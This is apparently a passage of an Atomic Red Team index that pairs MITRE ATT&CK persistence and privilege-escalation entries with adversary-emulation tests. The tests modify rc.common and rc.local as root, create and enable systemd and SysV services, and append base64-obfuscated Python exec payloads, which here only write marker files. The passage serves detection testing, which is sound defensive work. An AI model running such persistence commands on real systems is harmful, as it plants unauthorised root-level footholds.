privilege-escalation - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Brandon Dalton @PartyD0lphin - Alexander Rodchenko x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Process: Process Creation' - 'Command: Command Execution' - 'File: File Creation' x_mitre_effective_permissions: - root x_mitre_permissions_required: - User type: attack-pattern id: attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56 created: '2022-09-27T18:02:16.026Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/016 external_id: T1546.016 - source_name: Application Bundle Manipulation Brandon Dalton description: 'Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.' url: https://redcanary.com/blog/mac-application-bundles/ - source_name: Debian Manual Maintainer Scripts description: Debian Policy Manual v4.6.1.1. (2022, August 14). Package maintainer scripts and installation procedure. Retrieved September 27, 2022. url: https://www.debian.org/doc/debian-policy/ch-maintainerscripts.html#s-mscriptsinstact - source_name: Windows AppleJeus GReAT description: 'Global Research & Analysis Team, Kaspersky Lab (GReAT). (2018, August 23). Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware. Retrieved September 27, 2022.' url: https://securelist.com/operation-applejeus/87553/ - source_name: Microsoft Installation Procedures description: Microsoft. (2021, January 7). Installation Procedure Tables Group. Retrieved December 27, 2023. url: https://learn.microsoft.com/windows/win32/msi/installation-procedure-tables-group - source_name: wardle evilquest parti description: 'Patrick Wardle. (2020, June 29). OSX.EvilQuest Uncovered part i: infection, persistence, and more!. Retrieved March 18, 2021.' url: https://objective-see.com/blog/blog_0x59.html - source_name: Installer Package Scripting Rich Trouton description: 'Rich Trouton. (2019, August 9). Installer Package Scripting: Making your deployments easier, one ! at a time. Retrieved September 27, 2022.' url: https://cpb-us-e1.wpmucdn.com/sites.psu.edu/dist/4/24696/files/2019/07/psumac2019-345-Installer-Package-Scripting-Making-your-deployments-easier-one-at-a-time.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1037.004: technique: modified: '2024-04-16T12:22:29.150Z' name: 'Boot or Logon Initialization Scripts: Rc.common' description: |- Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify. Adversaries can establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence. Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware) Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_deprecated: false x_mitre_detection: "Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS - Linux - Network x_mitre_version: '2.1' x_mitre_data_sources: - 'File: File Creation' - 'Process: Process Creation' - 'File: File Modification' - 'Command: Command Execution' x_mitre_permissions_required: - root type: attack-pattern id: attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211 created: '2020-01-15T16:25:22.260Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1037/004 external_id: T1037.004 - source_name: Apple Developer Doco Archive Launchd description: Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021. url: https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html - source_name: Startup Items description: Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017. url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html - source_name: Ubuntu Manpage systemd rc description: Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021. url: http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html - source_name: IranThreats Kittens Dec 2017 description: Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020. url: https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/ - source_name: Methods of Mac Malware Persistence description: Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017. url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: intezer-kaiji-malware description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.' url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ - source_name: Intezer HiddenWasp Map 2019 description: Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019. url: https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1037.004 atomic_tests: - name: rc.common auto_generated_guid: 97a48daa-8bca-4bc0-b1a9-c1d163e762de description: | Modify rc.common [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html) supported_platforms: - macos executor: command: 'sudo echo osascript -e ''tell app "Finder" to display dialog "Hello World"'' >> /etc/rc.common ' elevation_required: true name: bash - name: rc.common auto_generated_guid: c33f3d80-5f04-419b-a13a-854d1cbdbf3a description: 'Modify rc.common ' supported_platforms: - linux executor: name: bash elevation_required: true command: | filename='/etc/rc.common';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.common.original;fi printf '%s\n' '#!/bin/bash' | sudo tee /etc/rc.common echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMuY29tbW9uID4gL3RtcC9UMTAzNy4wMDQucmMuY29tbW9uJykK'))\"" | sudo tee -a /etc/rc.common printf '%s\n' 'exit 0' | sudo tee -a /etc/rc.common sudo chmod +x /etc/rc.common cleanup_command: 'origfilename=''/etc/rc.common.original'';if [ ! -f $origfilename ];then sudo rm /etc/rc.common;else sudo cp $origfilename /etc/rc.common && sudo rm $origfilename;fi ' - name: rc.local auto_generated_guid: 126f71af-e1c9-405c-94ef-26a47b16c102 description: 'Modify rc.local ' supported_platforms: - linux executor: name: sh elevation_required: true command: | filename='/etc/rc.local';if [ ! -f $filename ];then sudo touch $filename;else sudo cp $filename /etc/rc.local.original;fi [ "$(uname)" = 'FreeBSD' ] && alias python3=python3.9 && printf '#\!/usr/local/bin/bash' | sudo tee /etc/rc.local || printf '#!/bin/bash' | sudo tee /etc/rc.local echo "\npython3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgcmMubG9jYWwgPiAvdG1wL1QxMDM3LjAwNC5yYy5sb2NhbCcpCgo='))\"" | sudo tee -a /etc/rc.local printf 'exit 0' | sudo tee -a /etc/rc.local sudo chmod +x /etc/rc.local cleanup_command: 'origfilename=''/etc/rc.local.original'';if [ ! -f $origfilename ];then sudo rm /etc/rc.local;else sudo cp $origfilename /etc/rc.local && sudo rm $origfilename;fi ' T1134: technique: modified: '2023-05-09T14:00:00.188Z' name: Access Token Manipulation description: |- Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation) Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - Tom Ueltschi @c_APT_ure - Travis Smith, Tripwire - Robby Winchester, @robwinchester3 - Jared Atkinson, @jaredcatkinson x_mitre_deprecated: false x_mitre_detection: "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '2.0' x_mitre_data_sources: - 'Process: OS API Execution' - 'Command: Command Execution' - 'User Account: User Account Metadata' - 'Process: Process Metadata' - 'Process: Process Creation' - 'Active Directory: Active Directory Object Modification' x_mitre_defense_bypassed: - Windows User Account Control - Heuristic Detection - System Access Controls - Host Forensic Analysis x_mitre_effective_permissions: - SYSTEM x_mitre_permissions_required: - User - Administrator type: attack-pattern id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48 created: '2017-12-14T16:46:06.044Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1134 external_id: T1134 - source_name: BlackHat Atkinson Winchester Token Manipulation description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.' url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf - source_name: Microsoft Command-line Logging description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing - source_name: Microsoft LogonUser description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx - source_name: Microsoft DuplicateTokenEx description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx - source_name: Microsoft ImpersonateLoggedOnUser description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017. url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx - source_name: Pentestlab Token Manipulation description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017. url: https://pentestlab.blog/2017/04/03/token-manipulation/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' atomic_tests: [] T1543.002: technique: modified: '2024-02-15T14:19:22.282Z' name: 'Create or Modify System Process: SysV/Systemd Service' description: "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service) \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. \n\nAdversaries have created new service files, altered the commands a `.service` file’s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) \n\nThe .service file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Tony Lambert, Red Canary - Emad Al-Mousa, Saudi Aramco - Tim (Wadhwa-)Brown x_mitre_deprecated: false x_mitre_detection: "Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) \n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -–type=service –all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)\n\nAuditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux x_mitre_version: '1.5' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Modification' - 'Service: Service Creation' - 'Service: Service Modification' - 'Process: Process Creation' - 'File: File Creation' x_mitre_permissions_required: - User - root type: attack-pattern id: attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b created: '2020-01-17T16:15:19.870Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1543/002 external_id: T1543.002 - source_name: airwalk backdoor unix systems description: airwalk. (2023, January 1). A guide to backdooring Unix systems. Retrieved May 31, 2023. url: http://www.ouah.org/backdoors.html - source_name: Anomali Rocke March 2019 description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019. url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang - source_name: freedesktop systemd.service description: Free Desktop. (n.d.). systemd.service — Service unit configuration. Retrieved March 20, 2023. url: https://www.freedesktop.org/software/systemd/man/systemd.service.html - source_name: 'Linux man-pages: systemd January 2014' description: Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019. url: http://man7.org/linux/man-pages/man1/systemd.1.html - source_name: Berba hunting linux systemd description: 'Pepe Berba. (2022, January 30). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.' url: https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/ - source_name: Rapid7 Service Persistence 22JUNE2016 description: Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019. url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence - source_name: lambert systemd 2022 description: 'Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding systemd service persistence. Retrieved March 20, 2023.' url: https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1543.002 atomic_tests: - name: Create Systemd Service auto_generated_guid: d9e4f24f-aa67-4c6e-bcbf-85622b697a7c description: 'This test creates a Systemd service unit file and enables it as a service. ' supported_platforms: - linux input_arguments: systemd_service_path: description: Path to systemd service unit file type: path default: "/etc/systemd/system" systemd_service_file: description: File name of systemd service unit file type: string default: art-systemd-service.service execstoppost_action: description: ExecStopPost action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execstoppost-marker" execreload_action: description: ExecReload action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execreload-marker" execstart_action: description: ExecStart action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execstart-marker" execstop_action: description: ExecStop action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execstop-marker" execstartpre_action: description: ExecStartPre action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execstartpre-marker" execstartpost_action: description: ExecStartPost action for Systemd service type: string default: "/bin/touch /tmp/art-systemd-execstartpost-marker" executor: command: | echo "[Unit]" > #{systemd_service_path}/#{systemd_service_file} echo "Description=Atomic Red Team Systemd Service" >> #{systemd_service_path}/#{systemd_service_file} echo "" >> #{systemd_service_path}/#{systemd_service_file} echo "[Service]" >> #{systemd_service_path}/#{systemd_service_file} echo "Type=simple" echo "ExecStart=#{execstart_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "ExecStartPre=#{execstartpre_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "ExecStartPost=#{execstartpost_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "ExecReload=#{execreload_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "ExecStop=#{execstop_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "ExecStopPost=#{execstoppost_action}" >> #{systemd_service_path}/#{systemd_service_file} echo "" >> #{systemd_service_path}/#{systemd_service_file} echo "[Install]" >> #{systemd_service_path}/#{systemd_service_file} echo "WantedBy=default.target" >> #{systemd_service_path}/#{systemd_service_file} systemctl daemon-reload systemctl enable #{systemd_service_file} systemctl start #{systemd_service_file} cleanup_command: | systemctl stop #{systemd_service_file} systemctl disable #{systemd_service_file} rm -rf #{systemd_service_path}/#{systemd_service_file} systemctl daemon-reload name: bash - name: Create SysV Service auto_generated_guid: 760fe8d2-79d9-494f-905e-a239a3df86f6 description: 'This test creates a SysV service unit file and enables it as a service. ' supported_platforms: - linux input_arguments: rc_service_path: description: Path to rc service file type: path default: "/usr/local/etc/rc.d" rc_service_file: description: File name of rc service file type: string default: art-test executor: command: "echo '#\\!/bin/sh' > #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file}\necho '#' >> #{rc_service_path}/#{rc_service_file}\necho '# PROVIDE: art-test' >> #{rc_service_path}/#{rc_service_file}\necho '# REQUIRE: LOGIN' >> #{rc_service_path}/#{rc_service_file}\necho '# KEYWORD: shutdown' >> #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file}\necho '. /etc/rc.subr' >> #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file}\necho 'name=\"art_test\"' >> #{rc_service_path}/#{rc_service_file}\necho 'rcvar=art_test_enable' >> #{rc_service_path}/#{rc_service_file}\necho 'load_rc_config ${name}' >> #{rc_service_path}/#{rc_service_file}\necho 'command=\"/usr/bin/touch\"' >> #{rc_service_path}/#{rc_service_file}\necho 'start_cmd=\"art_test_start\"' >> #{rc_service_path}/#{rc_service_file}\necho '' >> #{rc_service_path}/#{rc_service_file}\necho 'art_test_start()' >> #{rc_service_path}/#{rc_service_file} \necho '{' >> #{rc_service_path}/#{rc_service_file}\necho ' ${command} /tmp/art-test.marker' >> #{rc_service_path}/#{rc_service_file}\necho '}' >> #{rc_service_path}/#{rc_service_file}\necho ' ' >> #{rc_service_path}/#{rc_service_file} \necho 'run_rc_command \"$1\"' >> #{rc_service_path}/#{rc_service_file}\nchmod +x #{rc_service_path}/#{rc_service_file}\nservice art-test enable\nservice art-test start\n" cleanup_command: | sysrc -x art_test_enable rm -f #{rc_service_path}/#{rc_service_file} name: sh - name: Create Systemd Service file, Enable the service , Modify and Reload the service. auto_generated_guid: c35ac4a8-19de-43af-b9f8-755da7e89c89 description: "This test creates a systemd service unit file and enables it to autostart on boot. Once service is created and enabled, it also modifies this same service file showcasing both Creation and Modification of system process. \n" supported_platforms: - linux dependencies: - description: 'System must be Ubuntu ,Kali OR CentOS. ' prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i ''ID="centos"'') ]; then exit /b 0; else exit /b 1; fi; ' get_prereq_command: 'echo Please run from Ubuntu ,Kali OR CentOS. ' executor: name: bash elevation_required: true command: "cat > /etc/init.d/T1543.002 << EOF\n#!/bin/bash\n### BEGIN INIT INFO\n# Provides : Atomic Test T1543.002\n# Required-Start: $all\n# Required-Stop : \n# Default-Start: 2 3 4 5\n# Default-Stop: \n# Short Description: Atomic Test for Systemd Service Creation\n### END INIT INFO\npython3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBDcmVhdGluZyBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLmNyZWF0aW9uJykK'))\"\nEOF\n\nchmod +x /etc/init.d/T1543.002\nif [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then update-rc.d T1543.002 defaults; elif [ $(cat /etc/os-release | grep -i 'ID=\"centos\"') ]; then chkconfig T1543.002 on ; else echo \"Please run this test on Ubnutu , kali OR centos\" ; fi ;\nsystemctl enable T1543.002\nsystemctl start T1543.002\n\necho \"python3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgYSBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLm1vZGlmaWNhdGlvbicpCg=='))\\\"\" | sudo tee -a /etc/init.d/T1543.002\nsystemctl daemon-reload\nsystemctl restart T1543.002\n" cleanup_command: | systemctl stop T1543.002 systemctl disable T1543.002 rm -rf /etc/init.d/T1543.002 systemctl daemon-reload T1547.013: technique: modified: '2023-10-16T16:35:12.501Z' name: XDG Autostart Entries description: |- Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user’s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys) Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user’s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory. Adversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Tony Lambert, Red Canary x_mitre_deprecated: false x_mitre_detection: "Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux x_mitre_version: '1.1' x_mitre_data_sources: - 'File: File Creation' - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Modification' x_mitre_permissions_required: - User - root type: attack-pattern id: attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11 created: '2019-09-10T18:13:12.195Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/013 external_id: T1547.013 - source_name: Free Desktop Application Autostart Feb 2006 description: Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019. url: https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html - source_name: Free Desktop Entry Keys description: Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019. url: https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html - source_name: Red Canary Netwire Linux 2022 description: TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023. url: https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1055.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744 type: attack-pattern created: '2020-01-14T01:30:41.092Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.005 url: https://attack.mitre.org/techniques/T1055/005 - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017. source_name: FireEye TLS Nov 2017 - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 modified: '2022-04-25T14:00:00.188Z' name: Thread Local Storage description: "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since 